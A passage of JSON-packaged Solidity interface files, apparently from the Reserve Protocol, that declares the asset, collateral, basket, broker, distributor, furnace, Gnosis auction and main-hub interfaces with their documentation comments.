"content": "// SPDX-License-Identifier: BlueOak-1.0.0\npragma solidity 0.8.19;\n\nimport \"@chainlink/contracts/src/v0.8/interfaces/AggregatorV3Interface.sol\";\nimport \"@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol\";\nimport \"../libraries/Fixed.sol\";\nimport \"./IMain.sol\";\nimport \"./IRewardable.sol\";\n\n// Not used directly in the IAsset interface, but used by many consumers to save stack space\nstruct Price {\n uint192 low; // {UoA/tok}\n uint192 high; // {UoA/tok}\n}\n\n/**\n * @title IAsset\n * @notice Supertype. Any token that interacts with our system must be wrapped in an asset,\n * whether it is used as RToken backing or not. Any token that can report a price in the UoA\n * is eligible to be an asset.\n */\ninterface IAsset is IRewardable {\n /// Refresh saved price\n /// The Reserve protocol calls this at least once per transaction, before relying on\n /// the Asset's other functions.\n /// @dev Called immediately after deployment, before use\n function refresh() external;\n\n /// Should not revert\n /// low should be nonzero if the asset could be worth selling\n /// @return low {UoA/tok} The lower end of the price estimate\n /// @return high {UoA/tok} The upper end of the price estimate\n function price() external view returns (uint192 low, uint192 high);\n\n /// Should not revert\n /// lotLow should be nonzero when the asset might be worth selling\n /// @dev Deprecated. Phased out in 3.1.0, but left on interface for backwards compatibility\n /// @return lotLow {UoA/tok} The lower end of the lot price estimate\n /// @return lotHigh {UoA/tok} The upper end of the lot price estimate\n function lotPrice() external view returns (uint192 lotLow, uint192 lotHigh);\n\n /// @return {tok} The balance of the ERC20 in whole tokens\n function bal(address account) external view returns (uint192);\n\n /// @return The ERC20 contract of the token with decimals() available\n function erc20() external view returns (IERC20Metadata);\n\n /// @return The number of decimals in the ERC20; just for gas optimization\n function erc20Decimals() external view returns (uint8);\n\n /// @return If the asset is an instance of ICollateral or not\n function isCollateral() external view returns (bool);\n\n /// @return {UoA} The max trade volume, in UoA\n function maxTradeVolume() external view returns (uint192);\n\n /// @return {s} The timestamp of the last refresh() that saved prices\n function lastSave() external view returns (uint48);\n}\n\n// Used only in Testing. Strictly speaking an Asset does not need to adhere to this interface\ninterface TestIAsset is IAsset {\n /// @return The address of the chainlink feed\n function chainlinkFeed() external view returns (AggregatorV3Interface);\n\n /// {1} The max % deviation allowed by the oracle\n function oracleError() external view returns (uint192);\n\n /// @return {s} Seconds that an oracle value is considered valid\n function oracleTimeout() external view returns (uint48);\n\n /// @return {s} The maximum of all oracle timeouts on the plugin\n function maxOracleTimeout() external view returns (uint48);\n\n /// @return {s} Seconds that the price() should decay over, after stale price\n function priceTimeout() external view returns (uint48);\n\n /// @return {UoA/tok} The last saved low price\n function savedLowPrice() external view returns (uint192);\n\n /// @return {UoA/tok} The last saved high price\n function savedHighPrice() external view returns (uint192);\n}\n\n/// CollateralStatus must obey a linear ordering. That is:\n/// - being DISABLED is worse than being IFFY, or SOUND\n/// - being IFFY is worse than being SOUND.\nenum CollateralStatus {\n SOUND,\n IFFY, // When a peg is not holding or a chainlink feed is stale\n DISABLED // When the collateral has completely defaulted\n}\n\n/// Upgrade-safe maximum operator for CollateralStatus\nlibrary CollateralStatusComparator {\n /// @return Whether a is worse than b\n function worseThan(CollateralStatus a, CollateralStatus b) internal pure returns (bool) {\n return uint256(a) > uint256(b);\n }\n}\n\n/**\n * @title ICollateral\n * @notice A subtype of Asset that consists of the tokens eligible to back the RToken.\n */\ninterface ICollateral is IAsset {\n /// Emitted whenever the collateral status is changed\n /// @param newStatus The old CollateralStatus\n /// @param newStatus The updated CollateralStatus\n event CollateralStatusChanged(\n CollateralStatus indexed oldStatus,\n CollateralStatus indexed newStatus\n );\n\n /// @dev refresh()\n /// Refresh exchange rates and update default status.\n /// VERY IMPORTANT: In any valid implemntation, status() MUST become DISABLED in refresh() if\n /// refPerTok() has ever decreased since last call.\n\n /// @return The canonical name of this collateral's target unit.\n function targetName() external view returns (bytes32);\n\n /// @return The status of this collateral asset. (Is it defaulting? Might it soon?)\n function status() external view returns (CollateralStatus);\n\n // ==== Exchange Rates ====\n\n /// @return {ref/tok} Quantity of whole reference units per whole collateral tokens\n function refPerTok() external view returns (uint192);\n\n /// @return {target/ref} Quantity of whole target units per whole reference unit in the peg\n function targetPerRef() external view returns (uint192);\n}\n\n// Used only in Testing. Strictly speaking a Collateral does not need to adhere to this interface\ninterface TestICollateral is TestIAsset, ICollateral {\n /// @return The epoch timestamp when the collateral will default from IFFY to DISABLED\n function whenDefault() external view returns (uint256);\n\n /// @return The amount of time a collateral must be in IFFY status until being DISABLED\n function delayUntilDefault() external view returns (uint48);\n\n /// @return The underlying refPerTok, likely not included in all collaterals however.\n function underlyingRefPerTok() external view returns (uint192);\n}\n"
},
"contracts/interfaces/IAssetRegistry.sol": {
"content": "// SPDX-License-Identifier: BlueOak-1.0.0\npragma solidity 0.8.19;\n\nimport \"@openzeppelin/contracts/token/ERC20/IERC20.sol\";\nimport \"./IAsset.sol\";\nimport \"./IComponent.sol\";\n\n/// A serialization of the AssetRegistry to be passed around in the P1 impl for gas optimization\nstruct Registry {\n IERC20[] erc20s;\n IAsset[] assets;\n}\n\n/**\n * @title IAssetRegistry\n * @notice The AssetRegistry is in charge of maintaining the ERC20 tokens eligible\n * to be handled by the rest of the system. If an asset is in the registry, this means:\n * 1. Its ERC20 contract has been vetted\n * 2. The asset is the only asset for that ERC20\n * 3. The asset can be priced in the UoA, usually via an oracle\n */\ninterface IAssetRegistry is IComponent {\n /// Emitted when an asset is added to the registry\n /// @param erc20 The ERC20 contract for the asset\n /// @param asset The asset contract added to the registry\n event AssetRegistered(IERC20 indexed erc20, IAsset indexed asset);\n\n /// Emitted when an asset is removed from the registry\n /// @param erc20 The ERC20 contract for the asset\n /// @param asset The asset contract removed from the registry\n event AssetUnregistered(IERC20 indexed erc20, IAsset indexed asset);\n\n // Initialization\n function init(IMain main_, IAsset[] memory assets_) external;\n\n /// Fully refresh all asset state\n /// @custom:refresher\n function refresh() external;\n\n /// Register `asset`\n /// If either the erc20 address or the asset was already registered, fail\n /// @return true if the erc20 address was not already registered.\n /// @custom:governance\n function register(IAsset asset) external returns (bool);\n\n /// Register `asset` if and only if its erc20 address is already registered.\n /// If the erc20 address was not registered, revert.\n /// @return swapped If the asset was swapped for a previously-registered asset\n /// @custom:governance\n function swapRegistered(IAsset asset) external returns (bool swapped);\n\n /// Unregister an asset, requiring that it is already registered\n /// @custom:governance\n function unregister(IAsset asset) external;\n\n /// @return {s} The timestamp of the last refresh\n function lastRefresh() external view returns (uint48);\n\n /// @return The corresponding asset for ERC20, or reverts if not registered\n function toAsset(IERC20 erc20) external view returns (IAsset);\n\n /// @return The corresponding collateral, or reverts if unregistered or not collateral\n function toColl(IERC20 erc20) external view returns (ICollateral);\n\n /// @return If the ERC20 is registered\n function isRegistered(IERC20 erc20) external view returns (bool);\n\n /// @return A list of all registered ERC20s\n function erc20s() external view returns (IERC20[] memory);\n\n /// @return reg The list of registered ERC20s and Assets, in the same order\n function getRegistry() external view returns (Registry memory reg);\n\n /// @return The number of registered ERC20s\n function size() external view returns (uint256);\n}\n"
},
"contracts/interfaces/IBackingManager.sol": {
"content": "// SPDX-License-Identifier: BlueOak-1.0.0\npragma solidity 0.8.19;\n\nimport \"@openzeppelin/contracts/token/ERC20/IERC20.sol\";\nimport \"./IAssetRegistry.sol\";\nimport \"./IBasketHandler.sol\";\nimport \"./IBroker.sol\";\nimport \"./IComponent.sol\";\nimport \"./IRToken.sol\";\nimport \"./IStRSR.sol\";\nimport \"./ITrading.sol\";\n\n/// Memory struct for RecollateralizationLibP1 + RTokenAsset\n/// Struct purposes:\n/// 1. Configure trading\n/// 2. Stay under stack limit with fewer vars\n/// 3. Cache information such as component addresses and basket quantities, to save on gas\nstruct TradingContext {\n BasketRange basketsHeld; // {BU}\n // basketsHeld.top is the number of partial baskets units held\n // basketsHeld.bottom is the number of full basket units held\n\n // Components\n IBasketHandler bh;\n IAssetRegistry ar;\n IStRSR stRSR;\n IERC20 rsr;\n IRToken rToken;\n // Gov Vars\n uint192 minTradeVolume; // {UoA}\n uint192 maxTradeSlippage; // {1}\n // Cached values\n uint192[] quantities; // {tok/BU} basket quantities\n uint192[] bals; // {tok} balances in BackingManager + out on trades\n}\n\n/**\n * @title IBackingManager\n * @notice The BackingManager handles changes in the ERC20 balances that back an RToken.\n * - It computes which trades to perform, if any, and initiates these trades with the Broker.\n * - rebalance()\n * - If already collateralized, excess assets are transferred to RevenueTraders.\n * - forwardRevenue(IERC20[] calldata erc20s)\n */\ninterface IBackingManager is IComponent, ITrading {\n /// Emitted when the trading delay is changed\n /// @param oldVal The old trading delay\n /// @param newVal The new trading delay\n event TradingDelaySet(uint48 oldVal, uint48 newVal);\n\n /// Emitted when the backing buffer is changed\n /// @param oldVal The old backing buffer\n /// @param newVal The new backing buffer\n event BackingBufferSet(uint192 oldVal, uint192 newVal);\n\n // Initialization\n function init(\n IMain main_,\n uint48 tradingDelay_,\n uint192 backingBuffer_,\n uint192 maxTradeSlippage_,\n uint192 minTradeVolume_\n ) external;\n\n // Give RToken max allowance over a registered token\n /// @custom:refresher\n /// @custom:interaction\n function grantRTokenAllowance(IERC20) external;\n\n /// Apply the overall backing policy using the specified TradeKind, taking a haircut if unable\n /// @param kind TradeKind.DUTCH_AUCTION or TradeKind.BATCH_AUCTION\n /// @custom:interaction RCEI\n function rebalance(TradeKind kind) external;\n\n /// Forward revenue to RevenueTraders; reverts if not fully collateralized\n /// @param erc20s The tokens to forward\n /// @custom:interaction RCEI\n function forwardRevenue(IERC20[] calldata erc20s) external;\n\n /// Structs for trading\n /// @param basketsHeld The number of baskets held by the BackingManager\n /// @return ctx The TradingContext\n /// @return reg Contents of AssetRegistry.getRegistry()\n function tradingContext(BasketRange memory basketsHeld)\n external\n view\n returns (TradingContext memory ctx, Registry memory reg);\n}\n\ninterface TestIBackingManager is IBackingManager, TestITrading {\n function tradingDelay() external view returns (uint48);\n\n function backingBuffer() external view returns (uint192);\n\n function setTradingDelay(uint48 val) external;\n\n function setBackingBuffer(uint192 val) external;\n}\n"
},
"contracts/interfaces/IBasketHandler.sol": {
"content": "// SPDX-License-Identifier: BlueOak-1.0.0\npragma solidity 0.8.19;\n\nimport \"@openzeppelin/contracts/token/ERC20/IERC20.sol\";\nimport \"../libraries/Fixed.sol\";\nimport \"./IAsset.sol\";\nimport \"./IComponent.sol\";\n\nstruct BasketRange {\n uint192 bottom; // {BU}\n uint192 top; // {BU}\n}\n\n/**\n * @title IBasketHandler\n * @notice The BasketHandler aims to maintain a reference basket of constant target unit amounts.\n * When a collateral token defaults, a new reference basket of equal target units is set.\n * When _all_ collateral tokens default for a target unit, only then is the basket allowed to fall\n * in terms of target unit amounts. The basket is considered defaulted in this case.\n */\ninterface IBasketHandler is IComponent {\n /// Emitted when the prime basket is set\n /// @param erc20s The collateral tokens for the prime basket\n /// @param targetAmts {target/BU} A list of quantities of target unit per basket unit\n /// @param targetNames Each collateral token's targetName\n event PrimeBasketSet(IERC20[] erc20s, uint192[] targetAmts, bytes32[] targetNames);\n\n /// Emitted when the reference basket is set\n /// @param nonce {basketNonce} The basket nonce\n /// @param erc20s The list of collateral tokens in the reference basket\n /// @param refAmts {ref/BU} The reference amounts of the basket collateral tokens\n /// @param disabled True when the list of erc20s + refAmts may not be correct\n event BasketSet(uint256 indexed nonce, IERC20[] erc20s, uint192[] refAmts, bool disabled);\n\n /// Emitted when a backup config is set for a target unit\n /// @param targetName The name of the target unit as a bytes32\n /// @param max The max number to use from `erc20s`\n /// @param erc20s The set of backup collateral tokens\n event BackupConfigSet(bytes32 indexed targetName, uint256 max, IERC20[] erc20s);\n\n /// Emitted when the warmup period is changed\n /// @param oldVal The old warmup period\n /// @param newVal The new warmup period\n event WarmupPeriodSet(uint48 oldVal, uint48 newVal);\n\n /// Emitted when the status of a basket has changed\n /// @param oldStatus The previous basket status\n /// @param newStatus The new basket status\n event BasketStatusChanged(CollateralStatus oldStatus, CollateralStatus newStatus);\n\n /// Emitted when the last basket nonce available for redemption is changed\n /// @param oldVal The old value of lastCollateralized\n /// @param newVal The new value of lastCollateralized\n event LastCollateralizedChanged(uint48 oldVal, uint48 newVal);\n\n // Initialization\n function init(\n IMain main_,\n uint48 warmupPeriod_,\n bool reweightable_\n ) external;\n\n /// Set the prime basket\n /// For an index RToken (reweightable = true), use forceSetPrimeBasket to skip normalization\n /// @param erc20s The collateral tokens for the new prime basket\n /// @param targetAmts The target amounts (in) {target/BU} for the new prime basket\n /// required range: 1e9 values; absolute range irrelevant.\n /// @custom:governance\n function setPrimeBasket(IERC20[] calldata erc20s, uint192[] calldata targetAmts) external;\n\n /// Set the prime basket without normalizing targetAmts by the UoA of the current basket\n /// Works the same as setPrimeBasket for non-index RTokens (reweightable = false)\n /// @param erc20s The collateral tokens for the new prime basket\n /// @param targetAmts The target amounts (in) {target/BU} for the new prime basket\n /// required range: 1e9 values; absolute range irrelevant.\n /// @custom:governance\n function forceSetPrimeBasket(IERC20[] calldata erc20s, uint192[] calldata targetAmts) external;\n\n /// Set the backup configuration for a given target\n /// @param targetName The name of the target as a bytes32\n /// @param max The maximum number of collateral tokens to use from this target\n /// Required range: 1-255\n /// @param erc20s A list of ordered backup collateral tokens\n /// @custom:governance\n function setBackupConfig(\n bytes32 targetName,\n uint256 max,\n IERC20[] calldata erc20s\n ) external;\n\n /// Default the basket in order to schedule a basket refresh\n /// @custom:protected\n function disableBasket() external;\n\n /// Governance-controlled setter to cause a basket switch explicitly\n /// @custom:governance\n /// @custom:interaction\n function refreshBasket() external;\n\n /// Track the basket status changes\n /// @custom:refresher\n function trackStatus() external;\n\n /// Track when last collateralized\n /// @custom:refresher\n function trackCollateralization() external;\n\n /// @return If the BackingManager has sufficient collateral to redeem the entire RToken supply\n function fullyCollateralized() external view returns (bool);\n\n /// @return status The worst CollateralStatus of all collateral in the basket\n function status() external view returns (CollateralStatus status);\n\n /// @return If the basket is ready to issue and trade\n function isReady() external view returns (bool);\n\n /// @param erc20 The ERC20 token contract for the asset\n /// @return {tok/BU} The whole token quantity of token in the reference basket\n /// Returns 0 if erc20 is not registered or not in the basket\n /// Returns FIX_MAX (in lieu of +infinity) if Collateral.refPerTok() is 0.\n /// Otherwise, returns (token's basket.refAmts / token's Collateral.refPerTok())\n function quantity(IERC20 erc20) external view returns (uint192);\n\n /// Like quantity(), but unsafe because it DOES NOT CONFIRM THAT THE ASSET IS CORRECT\n /// @param erc20 The ERC20 token contract for the asset\n /// @param asset The registered asset plugin contract for the erc20\n /// @return {tok/BU} The whole token quantity of token in the reference basket\n /// Returns 0 if erc20 is not registered or not in the basket\n /// Returns FIX_MAX (in lieu of +infinity) if Collateral.refPerTok() is 0.\n /// Otherwise, returns (token's basket.refAmts / token's Collateral.refPerTok())\n function quantityUnsafe(IERC20 erc20, IAsset asset) external view returns (uint192);\n\n /// @param amount {BU}\n /// @return erc20s The addresses of the ERC20 tokens in the reference basket\n /// @return quantities {qTok} The quantity of each ERC20 token to issue `amount` baskets\n function quote(uint192 amount, RoundingMode rounding)\n external\n view\n returns (address[] memory erc20s, uint256[] memory quantities);\n\n /// Return the redemption value of `amount` BUs for a linear combination of historical baskets\n /// @param basketNonces An array of basket nonces to do redemption from\n /// @param portions {1} An array of Fix quantities that must add up to FIX_ONE\n /// @param amount {BU}\n /// @return erc20s The backing collateral erc20s\n /// @return quantities {qTok} ERC20 token quantities equal to `amount` BUs\n function quoteCustomRedemption(\n uint48[] memory basketNonces,\n uint192[] memory portions,\n uint192 amount\n ) external view returns (address[] memory erc20s, uint256[] memory quantities);\n\n /// @return top {BU} The number of partial basket units: e.g max(coll.map((c) => c.balAsBUs())\n /// bottom {BU} The number of whole basket units held by the account\n function basketsHeldBy(address account) external view returns (BasketRange memory);\n\n /// Should not revert\n /// low should be nonzero when BUs are worth selling\n /// @return low {UoA/BU} The lower end of the price estimate\n /// @return high {UoA/BU} The upper end of the price estimate\n function price() external view returns (uint192 low, uint192 high);\n\n /// Should not revert\n /// lotLow should be nonzero if a BU could be worth selling\n /// @dev Deprecated. Phased out in 3.1.0, but left on interface for backwards compatibility\n /// @return lotLow {UoA/tok} The lower end of the lot price estimate\n /// @return lotHigh {UoA/tok} The upper end of the lot price estimate\n function lotPrice() external view returns (uint192 lotLow, uint192 lotHigh);\n\n /// @return timestamp The timestamp at which the basket was last set\n function timestamp() external view returns (uint48);\n\n /// @return The current basket nonce, regardless of status\n function nonce() external view returns (uint48);\n}\n\ninterface TestIBasketHandler is IBasketHandler {\n function warmupPeriod() external view returns (uint48);\n\n function setWarmupPeriod(uint48 val) external;\n}\n"
},
"contracts/interfaces/IBroker.sol": {
"content": "// SPDX-License-Identifier: BlueOak-1.0.0\npragma solidity 0.8.19;\n\nimport \"./IAsset.sol\";\nimport \"./IComponent.sol\";\nimport \"./IGnosis.sol\";\nimport \"./ITrade.sol\";\n\nenum TradeKind {\n DUTCH_AUCTION,\n BATCH_AUCTION\n}\n\n/// Cache of all prices for a pair to prevent re-lookup\nstruct TradePrices {\n uint192 sellLow; // {UoA/sellTok} can be 0\n uint192 sellHigh; // {UoA/sellTok} should not be 0\n uint192 buyLow; // {UoA/buyTok} should not be 0\n uint192 buyHigh; // {UoA/buyTok} should not be 0 or FIX_MAX\n}\n\n/// The data format that describes a request for trade with the Broker\nstruct TradeRequest {\n IAsset sell;\n IAsset buy;\n uint256 sellAmount; // {qSellTok}\n uint256 minBuyAmount; // {qBuyTok}\n}\n\n/**\n * @title IBroker\n * @notice The Broker deploys oneshot Trade contracts for Traders and monitors\n * the continued proper functioning of trading platforms.\n */\ninterface IBroker is IComponent {\n event GnosisSet(IGnosis oldVal, IGnosis newVal);\n event BatchTradeImplementationSet(ITrade oldVal, ITrade newVal);\n event DutchTradeImplementationSet(ITrade oldVal, ITrade newVal);\n event BatchAuctionLengthSet(uint48 oldVal, uint48 newVal);\n event DutchAuctionLengthSet(uint48 oldVal, uint48 newVal);\n event BatchTradeDisabledSet(bool prevVal, bool newVal);\n event DutchTradeDisabledSet(IERC20Metadata indexed erc20, bool prevVal, bool newVal);\n\n // Initialization\n function init(\n IMain main_,\n IGnosis gnosis_,\n ITrade batchTradeImplemention_,\n uint48 batchAuctionLength_,\n ITrade dutchTradeImplemention_,\n uint48 dutchAuctionLength_\n ) external;\n\n /// Request a trade from the broker\n /// @dev Requires setting an allowance in advance\n /// @custom:interaction\n function openTrade(\n TradeKind kind,\n TradeRequest memory req,\n TradePrices memory prices\n ) external returns (ITrade);\n\n /// Only callable by one of the trading contracts the broker deploys\n function reportViolation() external;\n\n function batchTradeDisabled() external view returns (bool);\n\n function dutchTradeDisabled(IERC20Metadata erc20) external view returns (bool);\n}\n\ninterface TestIBroker is IBroker {\n function gnosis() external view returns (IGnosis);\n\n function batchTradeImplementation() external view returns (ITrade);\n\n function dutchTradeImplementation() external view returns (ITrade);\n\n function batchAuctionLength() external view returns (uint48);\n\n function dutchAuctionLength() external view returns (uint48);\n\n function setGnosis(IGnosis newGnosis) external;\n\n function setBatchTradeImplementation(ITrade newTradeImplementation) external;\n\n function setBatchAuctionLength(uint48 newAuctionLength) external;\n\n function setDutchTradeImplementation(ITrade newTradeImplementation) external;\n\n function setDutchAuctionLength(uint48 newAuctionLength) external;\n\n function enableBatchTrade() external;\n\n function enableDutchTrade(IERC20Metadata erc20) external;\n\n // only present on pre-3.0.0 Brokers; used by EasyAuction regression test\n function disabled() external view returns (bool);\n}\n"
},
"contracts/interfaces/IComponent.sol": {
"content": "// SPDX-License-Identifier: BlueOak-1.0.0\npragma solidity 0.8.19;\n\nimport \"./IMain.sol\";\nimport \"./IVersioned.sol\";\n\n/**\n * @title IComponent\n * @notice A Component is the central building block of all our system contracts. Components\n * contain important state that must be migrated during upgrades, and they delegate\n * their ownership to Main's owner.\n */\ninterface IComponent is IVersioned {\n function main() external view returns (IMain);\n}\n"
},
"contracts/interfaces/IDistributor.sol": {
"content": "// SPDX-License-Identifier: BlueOak-1.0.0\npragma solidity 0.8.19;\n\nimport \"@openzeppelin/contracts/token/ERC20/IERC20.sol\";\nimport \"./IComponent.sol\";\n\nuint256 constant MAX_DISTRIBUTION = 1e4; // 10,000\nuint8 constant MAX_DESTINATIONS = 100; // maximum number of RevenueShare destinations\n\nstruct RevenueShare {\n uint16 rTokenDist; // {revShare} A value between [0, 10,000]\n uint16 rsrDist; // {revShare} A value between [0, 10,000]\n}\n\n/// Assumes no more than 100 independent distributions.\nstruct RevenueTotals {\n uint24 rTokenTotal; // {revShare}\n uint24 rsrTotal; // {revShare}\n}\n\n/**\n * @title IDistributor\n * @notice The Distributor Component maintains a revenue distribution table that dictates\n * how to divide revenue across the Furnace, StRSR, and any other destinations.\n */\ninterface IDistributor is IComponent {\n /// Emitted when a distribution is set\n /// @param dest The address set to receive the distribution\n /// @param rTokenDist The distribution of RToken that should go to `dest`\n /// @param rsrDist The distribution of RSR that should go to `dest`\n event DistributionSet(address indexed dest, uint16 rTokenDist, uint16 rsrDist);\n\n /// Emitted when revenue is distributed\n /// @param erc20 The token being distributed, either RSR or the RToken itself\n /// @param source The address providing the revenue\n /// @param amount The amount of the revenue\n event RevenueDistributed(IERC20 indexed erc20, address indexed source, uint256 amount);\n\n // Initialization\n function init(IMain main_, RevenueShare memory dist) external;\n\n /// @custom:governance\n function setDistribution(address dest, RevenueShare memory share) external;\n\n /// Distribute the `erc20` token across all revenue destinations\n /// Only callable by RevenueTraders\n /// @custom:protected\n function distribute(IERC20 erc20, uint256 amount) external;\n\n /// @return revTotals The total of all destinations\n function totals() external view returns (RevenueTotals memory revTotals);\n}\n\ninterface TestIDistributor is IDistributor {\n // solhint-disable-next-line func-name-mixedcase\n function FURNACE() external view returns (address);\n\n // solhint-disable-next-line func-name-mixedcase\n function ST_RSR() external view returns (address);\n\n /// @return rTokenDist The RToken distribution for the address\n /// @return rsrDist The RSR distribution for the address\n function distribution(address) external view returns (uint16 rTokenDist, uint16 rsrDist);\n}\n"
},
"contracts/interfaces/IFurnace.sol": {
"content": "// SPDX-License-Identifier: BlueOak-1.0.0\npragma solidity 0.8.19;\n\nimport \"../libraries/Fixed.sol\";\nimport \"./IComponent.sol\";\n\n/**\n * @title IFurnace\n * @notice A helper contract to burn RTokens slowly and permisionlessly.\n */\ninterface IFurnace is IComponent {\n // Initialization\n function init(IMain main_, uint192 ratio_) external;\n\n /// Emitted when the melting ratio is changed\n /// @param oldRatio The old ratio\n /// @param newRatio The new ratio\n event RatioSet(uint192 oldRatio, uint192 newRatio);\n\n function ratio() external view returns (uint192);\n\n /// Needed value range: [0, 1], granularity 1e-9\n /// @custom:governance\n function setRatio(uint192) external;\n\n /// Performs any RToken melting that has vested since the last payout.\n /// @custom:refresher\n function melt() external;\n}\n\ninterface TestIFurnace is IFurnace {\n function lastPayout() external view returns (uint256);\n\n function lastPayoutBal() external view returns (uint256);\n}\n"
},
"contracts/interfaces/IGnosis.sol": {
"content": "// SPDX-License-Identifier: BlueOak-1.0.0\npragma solidity 0.8.19;\n\nimport \"@openzeppelin/contracts/token/ERC20/IERC20.sol\";\n\nstruct GnosisAuctionData {\n IERC20 auctioningToken;\n IERC20 biddingToken;\n uint256 orderCancellationEndDate;\n uint256 auctionEndDate;\n bytes32 initialAuctionOrder;\n uint256 minimumBiddingAmountPerOrder;\n uint256 interimSumBidAmount;\n bytes32 interimOrder;\n bytes32 clearingPriceOrder;\n uint96 volumeClearingPriceOrder;\n bool minFundingThresholdNotReached;\n bool isAtomicClosureAllowed;\n uint256 feeNumerator;\n uint256 minFundingThreshold;\n}\n\n/// The relevant portion of the interface of the live Gnosis EasyAuction contract\n/// https://github.com/gnosis/ido-contracts/blob/main/contracts/EasyAuction.sol\ninterface IGnosis {\n function initiateAuction(\n IERC20 auctioningToken,\n IERC20 biddingToken,\n uint256 orderCancellationEndDate,\n uint256 auctionEndDate,\n uint96 auctionedSellAmount,\n uint96 minBuyAmount,\n uint256 minimumBiddingAmountPerOrder,\n uint256 minFundingThreshold,\n bool isAtomicClosureAllowed,\n address accessManagerContract,\n bytes memory accessManagerContractData\n ) external returns (uint256 auctionId);\n\n function auctionData(uint256 auctionId) external view returns (GnosisAuctionData memory);\n\n /// @param auctionId The external auction id\n /// @dev See here for decoding: https://git.io/JMang\n /// @return encodedOrder The order, encoded in a bytes 32\n function settleAuction(uint256 auctionId) external returns (bytes32 encodedOrder);\n\n /// @return The numerator over a 1000-valued denominator\n function feeNumerator() external returns (uint256);\n}\n"
},
"contracts/interfaces/IMain.sol": {
"content": "// SPDX-License-Identifier: BlueOak-1.0.0\npragma solidity 0.8.19;\n\nimport \"@openzeppelin/contracts-upgradeable/access/IAccessControlUpgradeable.sol\";\nimport \"@openzeppelin/contracts/token/ERC20/IERC20.sol\";\nimport \"./IAssetRegistry.sol\";\nimport \"./IBasketHandler.sol\";\nimport \"./IBackingManager.sol\";\nimport \"./IBroker.sol\";\nimport \"./IGnosis.sol\";\nimport \"./IFurnace.sol\";\nimport \"./IDistributor.sol\";\nimport \"./IRToken.sol\";\nimport \"./IRevenueTrader.sol\";\nimport \"./IStRSR.sol\";\nimport \"./ITrading.sol\";\nimport \"./IVersioned.sol\";\n\n// === Auth roles ===\n\nbytes32 constant OWNER = bytes32(bytes(\"OWNER\"));\nbytes32 constant SHORT_FREEZER = bytes32(bytes(\"SHORT_FREEZER\"));\nbytes32 constant LONG_FREEZER = bytes32(bytes(\"LONG_FREEZER\"));\nbytes32 constant PAUSER = bytes32(bytes(\"PAUSER\"));\n\n/**\n * Main is a central hub that maintains a list of Component contracts.\n *\n * Components:\n * - perform a specific function\n * - defer auth to Main\n * - usually (but not always) contain sizeable state that require a proxy\n */\nstruct Components {\n // Definitely need proxy\n IRToken rToken;\n IStRSR stRSR;\n IAssetRegistry assetRegistry;\n IBasketHandler basketHandler;\n IBackingManager backingManager;\n IDistributor distributor;\n IFurnace furnace;\n IBroker broker;\n IRevenueTrader rsrTrader;\n IRevenueTrader rTokenTrader;\n}\n\ninterface IAuth is IAccessControlUpgradeable {\n /// Emitted when `unfreezeAt` is changed\n /// @param oldVal The old value of `unfreezeAt`\n /// @param newVal The new value of `unfreezeAt`\n event UnfreezeAtSet(uint48 oldVal, uint48 newVal);\n\n /// Emitted when the short freeze duration governance param is changed\n /// @param oldDuration The old short freeze duration\n /// @param newDuration The new short freeze duration\n event ShortFreezeDurationSet(uint48 oldDuration, uint48 newDuration);\n\n /// Emitted when the long freeze duration governance param is changed\n /// @param oldDuration The old long freeze duration\n /// @param newDuration The new long freeze duration\n event LongFreezeDurationSet(uint48 oldDuration, uint48 newDuration);\n\n /// Emitted when the system is paused or unpaused for trading\n /// @param oldVal The old value of `tradingPaused`\n /// @param newVal The new value of `tradingPaused`\n event TradingPausedSet(bool oldVal, bool newVal);\n\n /// Emitted when the system is paused or unpaused for issuance\n /// @param oldVal The old value of `issuancePaused`\n /// @param newVal The new value of `issuancePaused`\n event IssuancePausedSet(bool oldVal, bool newVal);\n\n /**\n * Trading Paused: Disable everything except for OWNER actions, RToken.issue, RToken.redeem,\n * StRSR.stake, and StRSR.payoutRewards\n * Issuance Paused: Disable RToken.issue\n * Frozen: Disable everything except for OWNER actions + StRSR.stake (for governance)\n */\n\n function tradingPausedOrFrozen() external view returns (bool);\n\n function issuancePausedOrFrozen() external view returns (bool);\n\n function frozen() external view returns (bool);\n\n function shortFreeze() external view returns (uint48);\n\n function longFreeze() external view returns (uint48);\n\n // ====\n\n // onlyRole(OWNER)\n function freezeForever() external;\n\n // onlyRole(SHORT_FREEZER)\n function freezeShort() external;\n\n // onlyRole(LONG_FREEZER)\n function freezeLong() external;\n\n // onlyRole(OWNER)\n function unfreeze() external;\n\n function pauseTrading() external;\n\n function unpauseTrading() external;\n\n function pauseIssuance() external;\n\n function unpauseIssuance() external;\n}\n\ninterface IComponentRegistry {\n // === Component setters/getters ===\n\n event RTokenSet(IRToken indexed oldVal, IRToken indexed newVal);\n\n function rToken() external view returns (IRToken);\n\n event StRSRSet(IStRSR oldVal, IStRSR newVal);\n\n function stRSR() external view returns (IStRSR);\n\n event AssetRegistrySet(IAssetRegistry oldVal, IAssetRegistry newVal);\n\n function assetRegistry() external view returns (IAssetRegistry);\n\n event BasketHandlerSet(IBasketHandler oldVal, IBasketHandler newVal);\n\n function basketHandler() external view returns (IBasketHandler);\n\n event BackingManagerSet(IBackingManager oldVal, IBackingManager newVal);\n\n function backingManager() external view returns (IBackingManager);\n\n event DistributorSet(IDistributor oldVal, IDistributor newVal);\n\n function distributor() external view returns (IDistributor);\n\n event RSRTraderSet(IRevenueTrader oldVal, IRevenueTrader newVal);\n\n function rsrTrader() external view returns (IRevenueTrader);\n\n event RTokenTraderSet(IRevenueTrader oldVal, IRevenueTrader newVal);\n\n function rTokenTrader() external view returns (IRevenueTrader);\n\n event FurnaceSet(IFurnace oldVal, IFurnace newVal);\n\n function furnace() external view returns (IFurnace);\n\n event BrokerSet(IBroker oldVal, IBroker newVal);\n\n function broker() external view returns (IBroker);\n}\n\n/**\n * @title IMain\n * @notice The central hub for the entire system. Maintains components and an owner singleton role\n */\ninterface IMain is IVersioned, IAuth, IComponentRegistry {\n function poke() external; // not used in p1\n\n // === Initialization ===\n\n event MainInitialized();\n\n function init(\n Components memory components,\n IERC20 rsr_,\n uint48 shortFreeze_,\n uint48 longFreeze_\n ) external;\n\n function rsr() external view returns (IERC20);\n}\n\ninterface TestIMain is IMain {\n /// @custom:governance\n function setShortFreeze(uint48) external;\n\n /// @custom:governance\n function setLongFreeze(uint48) external;\n\n function shortFreeze() external view returns (uint48);\n\n function longFreeze() external view returns (uint48);\n\n function longFreezes(address account) external view returns (uint256);\n\n function tradingPaused() external view returns (bool);\n\n function issuancePaused() external view returns (bool);\n}\n"
},
